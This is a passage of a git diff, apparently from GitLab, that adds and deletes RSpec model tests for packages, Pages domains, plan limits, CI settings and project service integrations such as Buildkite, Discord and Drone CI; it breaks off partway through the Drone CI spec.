+ it 'orders packages by their projects path asc, then package id asc' do
+ expect(Packages::Package.order_project_path).to eq([package1, package4, package2, package3])
+ end
+ end
+
+ shared_examples 'order_project_path_desc scope' do
+ it 'orders packages by their projects path desc, then package id desc' do
+ expect(Packages::Package.order_project_path_desc).to eq([package3, package2, package4, package1])
+ end
+ end
+
+ it_behaves_like 'order_project_path scope'
+ it_behaves_like 'order_project_path_desc scope'
+ end
+
describe '.order_by_package_file' do
let_it_be(:project) { create(:project) }
let_it_be(:package1) { create(:maven_package, project: project) }
@@ -743,6 +776,33 @@ RSpec.describe Packages::Package, type: :model do
end
end
+ describe '.keyset_pagination_order' do
+ let(:join_class) { nil }
+ let(:column_name) { nil }
+ let(:direction) { nil }
+
+ subject { described_class.keyset_pagination_order(join_class: join_class, column_name: column_name, direction: direction) }
+
+ it { expect { subject }.to raise_error(NoMethodError) }
+
+ context 'with valid params' do
+ let(:join_class) { Project }
+ let(:column_name) { :name }
+
+ context 'ascending direction' do
+ let(:direction) { :asc }
+
+ it { is_expected.to eq('projects.name asc NULLS LAST, "packages_packages"."id" ASC') }
+ end
+
+ context 'descending direction' do
+ let(:direction) { :desc }
+
+ it { is_expected.to eq('projects.name desc NULLS FIRST, "packages_packages"."id" DESC') }
+ end
+ end
+ end
+
describe '#versions' do
let_it_be(:project) { create(:project) }
let_it_be(:package) { create(:maven_package, project: project) }
@@ -838,6 +898,26 @@ RSpec.describe Packages::Package, type: :model do
end
end
+ describe '#infrastructure_package?' do
+ let(:package) { create(:package) }
+
+ subject { package.infrastructure_package? }
+
+ it { is_expected.to eq(false) }
+
+ context 'with generic package' do
+ let(:package) { create(:generic_package) }
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'with terraform module package' do
+ let(:package) { create(:terraform_module_package) }
+
+ it { is_expected.to eq(true) }
+ end
+ end
+
describe 'plan_limits' do
Packages::Package.package_types.keys.without('composer').each do |pt|
plan_limit_name = if pt == 'generic'
diff --git a/spec/models/pages/lookup_path_spec.rb b/spec/models/pages/lookup_path_spec.rb
index 735f2225c21..2d7ee8ba3be 100644
--- a/spec/models/pages/lookup_path_spec.rb
+++ b/spec/models/pages/lookup_path_spec.rb
@@ -47,14 +47,7 @@ RSpec.describe Pages::LookupPath do
describe '#source' do
let(:source) { lookup_path.source }
- it 'uses disk storage', :aggregate_failures do
- expect(source[:type]).to eq('file')
- expect(source[:path]).to eq(project.full_path + "/public/")
- end
-
- it 'return nil when local storage is disabled and there is no deployment' do
- allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
-
+ it 'returns nil' do
expect(source).to eq(nil)
end
diff --git a/spec/models/pages_domain_spec.rb b/spec/models/pages_domain_spec.rb
index 1d5369e608e..7b997f0d4e1 100644
--- a/spec/models/pages_domain_spec.rb
+++ b/spec/models/pages_domain_spec.rb
@@ -12,6 +12,15 @@ RSpec.describe PagesDomain do
it { is_expected.to have_many(:serverless_domain_clusters) }
end
+ describe '.for_project' do
+ it 'returns domains assigned to project' do
+ domain = create(:pages_domain, :with_project)
+ create(:pages_domain) # unrelated domain
+
+ expect(described_class.for_project(domain.project)).to eq([domain])
+ end
+ end
+
describe 'validate domain' do
subject(:pages_domain) { build(:pages_domain, domain: domain) }
@@ -655,25 +664,16 @@ RSpec.describe PagesDomain do
end
end
- context 'when there are pages deployed for the project' do
- before do
- generic_commit_status = create(:generic_commit_status, :success, stage: 'deploy', name: 'pages:deploy')
- generic_commit_status.update!(project: project)
- project.pages_metadatum.destroy!
- project.reload
- end
+ it 'returns the virual domain when there are pages deployed for the project' do
+ project.mark_pages_as_deployed
+ project.update_pages_deployment!(create(:pages_deployment, project: project))
- it 'returns the virual domain' do
- expect(Pages::VirtualDomain).to receive(:new).with([project], domain: pages_domain).and_call_original
+ expect(Pages::VirtualDomain).to receive(:new).with([project], domain: pages_domain).and_call_original
- expect(pages_domain.pages_virtual_domain).to be_an_instance_of(Pages::VirtualDomain)
- end
+ virtual_domain = pages_domain.pages_virtual_domain
- it 'migrates project pages metadata' do
- expect { pages_domain.pages_virtual_domain }.to change {
- project.reload.pages_metadatum&.deployed
- }.from(nil).to(true)
- end
+ expect(virtual_domain).to be_an_instance_of(Pages::VirtualDomain)
+ expect(virtual_domain.lookup_paths).not_to be_empty
end
end
diff --git a/spec/models/plan_limits_spec.rb b/spec/models/plan_limits_spec.rb
index b8c723b3847..cf8e30023eb 100644
--- a/spec/models/plan_limits_spec.rb
+++ b/spec/models/plan_limits_spec.rb
@@ -211,6 +211,7 @@ RSpec.describe PlanLimits do
storage_size_limit
daily_invites
web_hook_calls
+ ci_daily_pipeline_schedule_triggers
] + disabled_max_artifact_size_columns
end
diff --git a/spec/models/postgresql/replication_slot_spec.rb b/spec/models/postgresql/replication_slot_spec.rb
index 02a4d783b84..4bad8a3f0c0 100644
--- a/spec/models/postgresql/replication_slot_spec.rb
+++ b/spec/models/postgresql/replication_slot_spec.rb
@@ -24,6 +24,10 @@ RSpec.describe Postgresql::ReplicationSlot do
expect(described_class).to receive(:in_use?).and_return(true)
end
+ it 'does not raise an exception' do
+ expect { described_class.lag_too_great? }.not_to raise_error
+ end
+
it 'returns true when replication lag is too great' do
expect(described_class)
.to receive(:pluck)
diff --git a/spec/models/project_ci_cd_setting_spec.rb b/spec/models/project_ci_cd_setting_spec.rb
index 406485d8cc8..c206ba27ec1 100644
--- a/spec/models/project_ci_cd_setting_spec.rb
+++ b/spec/models/project_ci_cd_setting_spec.rb
@@ -21,6 +21,12 @@ RSpec.describe ProjectCiCdSetting do
end
end
+ describe '#job_token_scope_enabled' do
+ it 'is true by default' do
+ expect(described_class.new.job_token_scope_enabled).to be_truthy
+ end
+ end
+
describe '#default_git_depth' do
let(:default_value) { described_class::DEFAULT_GIT_DEPTH }
diff --git a/spec/models/project_feature_usage_spec.rb b/spec/models/project_feature_usage_spec.rb
index 4baa59535e4..6ef407432b0 100644
--- a/spec/models/project_feature_usage_spec.rb
+++ b/spec/models/project_feature_usage_spec.rb
@@ -126,4 +126,54 @@ RSpec.describe ProjectFeatureUsage, type: :model do
end
end
end
+
+ context 'ProjectFeatureUsage with DB Load Balancing', :request_store do
+ include_context 'clear DB Load Balancing configuration'
+
+ describe '#log_jira_dvcs_integration_usage' do
+ let!(:project) { create(:project) }
+
+ subject { project.feature_usage }
+
+ context 'database load balancing is configured' do
+ before do
+ # Do not pollute AR for other tests, but rather simulate effect of configure_proxy.
+ allow(ActiveRecord::Base.singleton_class).to receive(:prepend)
+ ::Gitlab::Database::LoadBalancing.configure_proxy
+ allow(ActiveRecord::Base).to receive(:connection).and_return(::Gitlab::Database::LoadBalancing.proxy)
+ ::Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+
+ it 'logs Jira DVCS Cloud last sync' do
+ freeze_time do
+ subject.log_jira_dvcs_integration_usage
+
+ expect(subject.jira_dvcs_server_last_sync_at).to be_nil
+ expect(subject.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.current)
+ end
+ end
+
+ it 'does not stick to primary' do
+ expect(::Gitlab::Database::LoadBalancing::Session.current).not_to be_performed_write
+ expect(::Gitlab::Database::LoadBalancing::Session.current).not_to be_using_primary
+
+ subject.log_jira_dvcs_integration_usage
+
+ expect(::Gitlab::Database::LoadBalancing::Session.current).to be_performed_write
+ expect(::Gitlab::Database::LoadBalancing::Session.current).not_to be_using_primary
+ end
+ end
+
+ context 'database load balancing is not cofigured' do
+ it 'logs Jira DVCS Cloud last sync' do
+ freeze_time do
+ subject.log_jira_dvcs_integration_usage
+
+ expect(subject.jira_dvcs_server_last_sync_at).to be_nil
+ expect(subject.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.current)
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/project_repository_storage_move_spec.rb b/spec/models/project_repository_storage_move_spec.rb
deleted file mode 100644
index eb193a44680..00000000000
--- a/spec/models/project_repository_storage_move_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ProjectRepositoryStorageMove, type: :model do
- let_it_be_with_refind(:project) { create(:project) }
-
- it_behaves_like 'handles repository moves' do
- let(:container) { project }
- let(:repository_storage_factory_key) { :project_repository_storage_move }
- let(:error_key) { :project }
- let(:repository_storage_worker) { Projects::UpdateRepositoryStorageWorker }
- end
-
- describe 'state transitions' do
- let(:storage) { 'test_second_storage' }
-
- before do
- stub_storage_settings(storage => { 'path' => 'tmp/tests/extra_storage' })
- end
-
- context 'when started' do
- subject(:storage_move) { create(:project_repository_storage_move, :started, container: project, destination_storage_name: storage) }
-
- context 'and transits to replicated' do
- it 'sets the repository storage and marks the container as writable' do
- storage_move.finish_replication!
-
- expect(project.repository_storage).to eq(storage)
- expect(project).not_to be_repository_read_only
- end
- end
- end
- end
-end
diff --git a/spec/models/project_services/bugzilla_service_spec.rb b/spec/models/project_services/bugzilla_service_spec.rb
deleted file mode 100644
index 560c7c3ee83..00000000000
--- a/spec/models/project_services/bugzilla_service_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BugzillaService do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:project_url) }
- it { is_expected.to validate_presence_of(:issues_url) }
- it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:project_url) }
- it { is_expected.not_to validate_presence_of(:issues_url) }
- it { is_expected.not_to validate_presence_of(:new_issue_url) }
- end
- end
-end
diff --git a/spec/models/project_services/buildkite_service_spec.rb b/spec/models/project_services/buildkite_service_spec.rb
deleted file mode 100644
index f6bf1551bf0..00000000000
--- a/spec/models/project_services/buildkite_service_spec.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BuildkiteService, :use_clean_rails_memory_store_caching do
- include ReactiveCachingHelpers
- include StubRequests
-
- let(:project) { create(:project) }
-
- subject(:service) do
- described_class.create!(
- project: project,
- properties: {
- service_hook: true,
- project_url: 'https://buildkite.com/organization-name/example-pipeline',
- token: 'secret-sauce-webhook-token:secret-sauce-status-token'
- }
- )
- end
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:project_url) }
- it { is_expected.to validate_presence_of(:token) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:project_url) }
- it { is_expected.not_to validate_presence_of(:token) }
- end
- end
-
- describe '.supported_events' do
- it 'supports push, merge_request, and tag_push events' do
- expect(service.supported_events).to eq %w(push merge_request tag_push)
- end
- end
-
- describe 'commits methods' do
- before do
- allow(project).to receive(:default_branch).and_return('default-brancho')
- end
-
- it 'always activates SSL verification after saved' do
- service.create_service_hook(enable_ssl_verification: false)
-
- service.enable_ssl_verification = false
- service.active = true
-
- expect { service.save! }
- .to change { service.service_hook.enable_ssl_verification }.from(false).to(true)
- end
-
- describe '#webhook_url' do
- it 'returns the webhook url' do
- expect(service.webhook_url).to eq(
- 'https://webhook.buildkite.com/deliver/secret-sauce-webhook-token'
- )
- end
- end
-
- describe '#commit_status_path' do
- it 'returns the correct status page' do
- expect(service.commit_status_path('2ab7834c')).to eq(
- 'https://gitlab.buildkite.com/status/secret-sauce-status-token.json?commit=2ab7834c'
- )
- end
- end
-
- describe '#build_page' do
- it 'returns the correct build page' do
- expect(service.build_page('2ab7834c', nil)).to eq(
- 'https://buildkite.com/organization-name/example-pipeline/builds?commit=2ab7834c'
- )
- end
- end
-
- describe '#commit_status' do
- it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
-
- expect(service.commit_status('sha', 'ref')).to eq('foo')
- end
- end
-
- describe '#calculate_reactive_cache' do
- describe '#commit_status' do
- let(:buildkite_full_url) do
- 'https://gitlab.buildkite.com/status/secret-sauce-status-token.json?commit=123'
- end
-
- subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
-
- it 'sets commit status to :error when status is 500' do
- stub_request(status: 500)
-
- is_expected.to eq(:error)
- end
-
- it 'sets commit status to :error when status is 404' do
- stub_request(status: 404)
-
- is_expected.to eq(:error)
- end
-
- it 'passes through build status untouched when status is 200' do
- stub_request(body: %q({"status":"Great Success"}))
-
- is_expected.to eq('Great Success')
- end
-
- Gitlab::HTTP::HTTP_ERRORS.each do |http_error|
- it "sets commit status to :error with a #{http_error.name} error" do
- WebMock.stub_request(:get, buildkite_full_url)
- .to_raise(http_error)
-
- expect(Gitlab::ErrorTracking)
- .to receive(:log_exception)
- .with(instance_of(http_error), project_id: project.id)
-
- is_expected.to eq(:error)
- end
- end
- end
- end
- end
-
- def stub_request(status: 200, body: nil)
- body ||= %q({"status":"success"})
-
- stub_full_request(buildkite_full_url)
- .to_return(status: status,
- headers: { 'Content-Type' => 'application/json' },
- body: body)
- end
-end
diff --git a/spec/models/project_services/chat_notification_service_spec.rb b/spec/models/project_services/chat_notification_service_spec.rb
deleted file mode 100644
index 62f97873a06..00000000000
--- a/spec/models/project_services/chat_notification_service_spec.rb
+++ /dev/null
@@ -1,282 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ChatNotificationService do
- describe 'Associations' do
- before do
- allow(subject).to receive(:activated?).and_return(true)
- end
-
- it { is_expected.to validate_presence_of :webhook }
- end
-
- describe 'validations' do
- it { is_expected.to validate_inclusion_of(:labels_to_be_notified_behavior).in_array(%w[match_any match_all]).allow_blank }
- end
-
- describe '#can_test?' do
- context 'with empty repository' do
- it 'returns true' do
- subject.project = create(:project, :empty_repo)
-
- expect(subject.can_test?).to be true
- end
- end
-
- context 'with repository' do
- it 'returns true' do
- subject.project = create(:project, :repository)
-
- expect(subject.can_test?).to be true
- end
- end
- end
-
- describe '#execute' do
- subject(:chat_service) { described_class.new }
-
- let_it_be(:project) { create(:project, :repository) }
-
- let(:user) { create(:user) }
- let(:webhook_url) { 'https://example.gitlab.com/' }
- let(:data) { Gitlab::DataBuilder::Push.build_sample(subject.project, user) }
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- project_id: project.id,
- service_hook: true,
- webhook: webhook_url
- )
-
- WebMock.stub_request(:post, webhook_url)
-
- subject.active = true
- end
-
- context 'with a repository' do
- it 'returns true' do
- expect(chat_service).to receive(:notify).and_return(true)
- expect(chat_service.execute(data)).to be true
- end
- end
-
- context 'with an empty repository' do
- it 'returns true' do
- subject.project = create(:project, :empty_repo)
-
- expect(chat_service).to receive(:notify).and_return(true)
- expect(chat_service.execute(data)).to be true
- end
- end
-
- context 'with a project with name containing spaces' do
- it 'does not remove spaces' do
- allow(project).to receive(:full_name).and_return('Project Name')
-
- expect(chat_service).to receive(:get_message).with(any_args, hash_including(project_name: 'Project Name'))
- chat_service.execute(data)
- end
- end
-
- context 'when the data object has a label' do
- let_it_be(:label) { create(:label, name: 'Bug') }
- let_it_be(:label_2) { create(:label, name: 'Community contribution') }
- let_it_be(:label_3) { create(:label, name: 'Backend') }
- let_it_be(:issue) { create(:labeled_issue, project: project, labels: [label, label_2, label_3]) }
- let_it_be(:note) { create(:note, noteable: issue, project: project) }
-
- let(:data) { Gitlab::DataBuilder::Note.build(note, user) }
-
- it 'notifies the chat service' do
- expect(chat_service).to receive(:notify).with(any_args)
-
- chat_service.execute(data)
- end
-
- shared_examples 'notifies the chat service' do
- specify do
- expect(chat_service).to receive(:notify).with(any_args)
-
- chat_service.execute(data)
- end
- end
-
- shared_examples 'does not notify the chat service' do
- specify do
- expect(chat_service).not_to receive(:notify).with(any_args)
-
- chat_service.execute(data)
- end
- end
-
- context 'when labels_to_be_notified_behavior is not defined' do
- subject(:chat_service) { described_class.new(labels_to_be_notified: label_filter) }
-
- context 'no matching labels' do
- let(:label_filter) { '~some random label' }
-
- it_behaves_like 'does not notify the chat service'
- end
-
- context 'only one label matches' do
- let(:label_filter) { '~some random label, ~Bug' }
-
- it_behaves_like 'notifies the chat service'
- end
- end
-
- context 'when labels_to_be_notified_behavior is blank' do
- subject(:chat_service) { described_class.new(labels_to_be_notified: label_filter, labels_to_be_notified_behavior: '') }
-
- context 'no matching labels' do
- let(:label_filter) { '~some random label' }
-
- it_behaves_like 'does not notify the chat service'
- end
-
- context 'only one label matches' do
- let(:label_filter) { '~some random label, ~Bug' }
-
- it_behaves_like 'notifies the chat service'
- end
- end
-
- context 'when labels_to_be_notified_behavior is match_any' do
- subject(:chat_service) do
- described_class.new(
- labels_to_be_notified: label_filter,
- labels_to_be_notified_behavior: 'match_any'
- )
- end
-
- context 'no label filter' do
- let(:label_filter) { nil }
-
- it_behaves_like 'notifies the chat service'
- end
-
- context 'no matching labels' do
- let(:label_filter) { '~some random label' }
-
- it_behaves_like 'does not notify the chat service'
- end
-
- context 'only one label matches' do
- let(:label_filter) { '~some random label, ~Bug' }
-
- it_behaves_like 'notifies the chat service'
- end
- end
-
- context 'when labels_to_be_notified_behavior is match_all' do
- subject(:chat_service) do
- described_class.new(
- labels_to_be_notified: label_filter,
- labels_to_be_notified_behavior: 'match_all'
- )
- end
-
- context 'no label filter' do
- let(:label_filter) { nil }
-
- it_behaves_like 'notifies the chat service'
- end
-
- context 'no matching labels' do
- let(:label_filter) { '~some random label' }
-
- it_behaves_like 'does not notify the chat service'
- end
-
- context 'only one label matches' do
- let(:label_filter) { '~some random label, ~Bug' }
-
- it_behaves_like 'does not notify the chat service'
- end
-
- context 'labels matches exactly' do
- let(:label_filter) { '~Bug, ~Backend, ~Community contribution' }
-
- it_behaves_like 'notifies the chat service'
- end
-
- context 'labels matches but object has more' do
- let(:label_filter) { '~Bug, ~Backend' }
-
- it_behaves_like 'notifies the chat service'
- end
-
- context 'labels are distributed on multiple objects' do
- let(:label_filter) { '~Bug, ~Backend' }
- let(:data) do
- Gitlab::DataBuilder::Note.build(note, user).merge({
- issue: {
- labels: [
- { title: 'Bug' }
- ]
- },
- merge_request: {
- labels: [
- {
- title: 'Backend'
- }
- ]
- }
- })
- end
-
- it_behaves_like 'does not notify the chat service'
- end
- end
- end
-
- context 'with "channel" property' do
- before do
- allow(chat_service).to receive(:channel).and_return(channel)
- end
-
- context 'empty string' do
- let(:channel) { '' }
-
- it 'does not include the channel' do
- expect(chat_service).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
- expect(chat_service.execute(data)).to be(true)
- end
- end
-
- context 'empty spaces' do
- let(:channel) { ' ' }
-
- it 'does not include the channel' do
- expect(chat_service).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
- expect(chat_service.execute(data)).to be(true)
- end
- end
- end
-
- shared_examples 'with channel specified' do |channel, expected_channels|
- before do
- allow(chat_service).to receive(:push_channel).and_return(channel)
- end
-
- it 'notifies all channels' do
- expect(chat_service).to receive(:notify).with(any_args, hash_including(channel: expected_channels)).and_return(true)
- expect(chat_service.execute(data)).to be(true)
- end
- end
-
- context 'with single channel specified' do
- it_behaves_like 'with channel specified', 'slack-integration', ['slack-integration']
- end
-
- context 'with multiple channel names specified' do
- it_behaves_like 'with channel specified', 'slack-integration,#slack-test', ['slack-integration', '#slack-test']
- end
-
- context 'with multiple channel names with spaces specified' do
- it_behaves_like 'with channel specified', 'slack-integration, #slack-test, @UDLP91W0A', ['slack-integration', '#slack-test', '@UDLP91W0A']
- end
- end
-end
diff --git a/spec/models/project_services/custom_issue_tracker_service_spec.rb b/spec/models/project_services/custom_issue_tracker_service_spec.rb
deleted file mode 100644
index 881ae60a680..00000000000
--- a/spec/models/project_services/custom_issue_tracker_service_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe CustomIssueTrackerService do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:project_url) }
- it { is_expected.to validate_presence_of(:issues_url) }
- it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:project_url) }
- it { is_expected.not_to validate_presence_of(:issues_url) }
- it { is_expected.not_to validate_presence_of(:new_issue_url) }
- end
- end
-end
diff --git a/spec/models/project_services/data_fields_spec.rb b/spec/models/project_services/data_fields_spec.rb
deleted file mode 100644
index d3e6afe4978..00000000000
--- a/spec/models/project_services/data_fields_spec.rb
+++ /dev/null
@@ -1,156 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe DataFields do
- let(:url) { 'http://url.com' }
- let(:username) { 'username_one' }
- let(:properties) do
- { url: url, username: username }
- end
-
- shared_examples 'data fields' do
- describe '#arg' do
- it 'returns an argument correctly' do
- expect(service.url).to eq(url)
- end
- end
-
- describe '{arg}_changed?' do
- it 'returns false when the property has not been assigned a new value' do
- service.username = 'new_username'
- service.validate
- expect(service.url_changed?).to be_falsy
- end
-
- it 'returns true when the property has been assigned a different value' do
- service.url = "http://example.com"
- service.validate
- expect(service.url_changed?).to be_truthy
- end
-
- it 'returns true when the property has been assigned a different value twice' do
- service.url = "http://example.com"
- service.url = "http://example.com"
- service.validate
- expect(service.url_changed?).to be_truthy
- end
-
- it 'returns false when the property has been re-assigned the same value' do
- service.url = 'http://url.com'
- service.validate
- expect(service.url_changed?).to be_falsy
- end
- end
-
- describe '{arg}_touched?' do
- it 'returns false when the property has not been assigned a new value' do
- service.username = 'new_username'
- service.validate
- expect(service.url_changed?).to be_falsy
- end
-
- it 'returns true when the property has been assigned a different value' do
- service.url = "http://example.com"
- service.validate
- expect(service.url_changed?).to be_truthy
- end
-
- it 'returns true when the property has been assigned a different value twice' do
- service.url = "http://example.com"
- service.url = "http://example.com"
- service.validate
- expect(service.url_changed?).to be_truthy
- end
-
- it 'returns true when the property has been re-assigned the same value' do
- service.url = 'http://url.com'
- expect(service.url_touched?).to be_truthy
- end
-
- it 'returns false when the property has been re-assigned the same value' do
- service.url = 'http://url.com'
- service.validate
- expect(service.url_changed?).to be_falsy
- end
- end
-
- describe 'data_fields_present?' do
- it 'returns true from the issue tracker service' do
- expect(service.data_fields_present?).to be true
- end
- end
- end
-
- context 'when data are stored in data_fields' do
- let(:service) do
- create(:jira_service, url: url, username: username)
- end
-
- it_behaves_like 'data fields'
-
- describe '{arg}_was?' do
- it 'returns nil' do
- service.url = 'http://example.com'
- service.validate
- expect(service.url_was).to be_nil
- end
- end
- end
-
- context 'when service and data_fields are not persisted' do
- let(:service) do
- JiraService.new
- end
-
- describe 'data_fields_present?' do
- it 'returns true' do
- expect(service.data_fields_present?).to be true
- end
- end
- end
-
- context 'when data are stored in properties' do
- let(:service) { create(:jira_service, :without_properties_callback, properties: properties) }
-
- it_behaves_like 'data fields'
-
- describe '{arg}_was?' do
- it 'returns nil when the property has not been assigned a new value' do
- service.username = 'new_username'
- service.validate
- expect(service.url_was).to be_nil
- end
-
- it 'returns initial value when the property has been assigned a different value' do
- service.url = 'http://example.com'
- service.validate
- expect(service.url_was).to eq('http://url.com')
- end
-
- it 'returns initial value when the property has been re-assigned the same value' do
- service.url = 'http://url.com'
- service.validate
- expect(service.url_was).to eq('http://url.com')
- end
- end
- end
-
- context 'when data are stored in both properties and data_fields' do
- let(:service) do
- create(:jira_service, :without_properties_callback, active: false, properties: properties).tap do |integration|
- create(:jira_tracker_data, properties.merge(integration: integration))
- end
- end
-
- it_behaves_like 'data fields'
-
- describe '{arg}_was?' do
- it 'returns nil' do
- service.url = 'http://example.com'
- service.validate
- expect(service.url_was).to be_nil
- end
- end
- end
-end
diff --git a/spec/models/project_services/discord_service_spec.rb b/spec/models/project_services/discord_service_spec.rb
deleted file mode 100644
index ffe0a36dcdc..00000000000
--- a/spec/models/project_services/discord_service_spec.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe DiscordService do
- it_behaves_like "chat service", "Discord notifications" do
- let(:client) { Discordrb::Webhooks::Client }
- let(:client_arguments) { { url: webhook_url } }
- let(:payload) do
- {
- embeds: [
- include(
- author: include(name: be_present),
- description: be_present
- )
- ]
- }
- end
- end
-
- describe '#execute' do
- include StubRequests
-
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:webhook_url) { "https://example.gitlab.com/" }
-
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build_sample(project, user)
- end
-
- before do
- allow(subject).to receive_messages(
- project: project,
- project_id: project.id,
- service_hook: true,
- webhook: webhook_url
- )
-
- WebMock.stub_request(:post, webhook_url)
- end
-
- it 'uses the right embed parameters' do
- builder = Discordrb::Webhooks::Builder.new
-
- allow_next_instance_of(Discordrb::Webhooks::Client) do |client|
- allow(client).to receive(:execute).and_yield(builder)
- end
-
- subject.execute(sample_data)
-
- expect(builder.to_json_hash[:embeds].first).to include(
- description: start_with("#{user.name} pushed to branch [master](http://localhost/#{project.namespace.path}/#{project.path}/commits/master) of"),
- author: hash_including(
- icon_url: start_with('https://www.gravatar.com/avatar/'),
- name: user.name
- )
- )
- end
-
- context 'DNS rebind to local address' do
- before do
- stub_dns(webhook_url, ip_address: '192.168.2.120')
- end
-
- it 'does not allow DNS rebinding' do
- expect { subject.execute(sample_data) }.to raise_error(ArgumentError, /is blocked/)
- end
- end
-
- context 'when the Discord request fails' do
- before do
- WebMock.stub_request(:post, webhook_url).to_return(status: 400)
- end
-
- it 'logs an error and returns false' do
- expect(subject).to receive(:log_error).with('400 Bad Request')
- expect(subject.execute(sample_data)).to be(false)
- end
- end
- end
-end
diff --git a/spec/models/project_services/drone_ci_service_spec.rb b/spec/models/project_services/drone_ci_service_spec.rb
deleted file mode 100644
index 9aaf4f7a644..00000000000
--- a/spec/models/project_services/drone_ci_service_spec.rb
+++ /dev/null
@@ -1,148 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe DroneCiService, :use_clean_rails_memory_store_caching do
- include ReactiveCachingHelpers
-
- describe 'associations' do
- it { is_expected.to belong_to(:project) }
- it { is_expected.to have_one(:service_hook) }
- end
-
- describe 'validations' do
- context 'active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:token) }
- it { is_expected.to validate_presence_of(:drone_url) }
- it_behaves_like 'issue tracker service URL attribute', :drone_url
- end
-
- context 'inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:token) }
- it { is_expected.not_to validate_presence_of(:drone_url) }
- end
- end
-
- shared_context :drone_ci_service do
- let(:drone) { DroneCiService.new }
- let(:project) { create(:project, :repository, name: 'project') }
- let(:path) { project.full_path }
- let(:drone_url) { 'http://drone.example.com' }
- let(:sha) { '2ab7834c' }
- let(:branch) { 'dev' }
- let(:token) { 'secret' }
- let(:iid) { rand(1..9999) }
-
- # URL's
- let(:build_page) { "#{drone_url}/gitlab/#{path}/redirect/commits/#{sha}?branch=#{branch}" }
- let(:commit_status_path) { "#{drone_url}/gitlab/#{path}/commits/#{sha}?branch=#{branch}&access_token=#{token}" }
-
- before do
- allow(drone).to receive_messages(
- project_id: project.id,
- project: project,
- active: true,
- drone_url: drone_url,
- token: token
- )
- end
-
- def stub_request(status: 200, body: nil)
- body ||= %q({"status":"success"})
-
- WebMock.stub_request(:get, commit_status_path).to_return(
- status: status,
- headers: { 'Content-Type' => 'application/json' },
- body: body
- )
- end
- end
-
- describe "service page/path methods" do
- include_context :drone_ci_service
-
- it { expect(drone.build_page(sha, branch)).to eq(build_page) }
- it { expect(drone.commit_status_path(sha, branch)).to eq(commit_status_path) }
- end
-
- describe '#commit_status' do
- include_context :drone_ci_service
-
- it 'returns the contents of the reactive cache' do
- stub_reactive_cache(drone, { commit_status: 'foo' }, 'sha', 'ref')
-
- expect(drone.commit_status('sha', 'ref')).to eq('foo')
- end
- end
-
- describe '#calculate_reactive_cache' do
- include_context :drone_ci_service
-
- describe '#commit_status' do
- subject { drone.calculate_reactive_cache(sha, branch)[:commit_status] }
-
- it 'sets commit status to :error when status is 500' do
- stub_request(status: 500)
-
- is_expected.to eq(:error)
- end
-
- it 'sets commit status to :error when status is 404' do
- stub_request(status: 404)
-
- is_expected.to eq(:error)
- end
-
- Gitlab::HTTP::HTTP_ERRORS.each do |http_error|
- it "sets commit status to :error with a #{http_error.name} error" do
- WebMock.stub_request(:get, commit_status_path)
- .to_raise(http_error)
-
- expect(Gitlab::ErrorTracking)
- .to receive(:log_exception)
- .with(instance_of(http_error), project_id: project.id)
-
- is_expected.to eq(:error)
- end
- end
-
- {
- "killed" => :canceled,
- "failure" => :failed,
- "error" => :failed,
- "success" => "success"
- }.each do |drone_status, our_status|
- it "sets commit status to #{our_status.inspect} when returned status is #{drone_status.inspect}" do
- stub_request(body: %Q({"status":"#{drone_status}"}))
-
- is_expected.to eq(our_status)
- end
- end
- end
- end
-
- describe "execute" do
- include_context :drone_ci_service
-
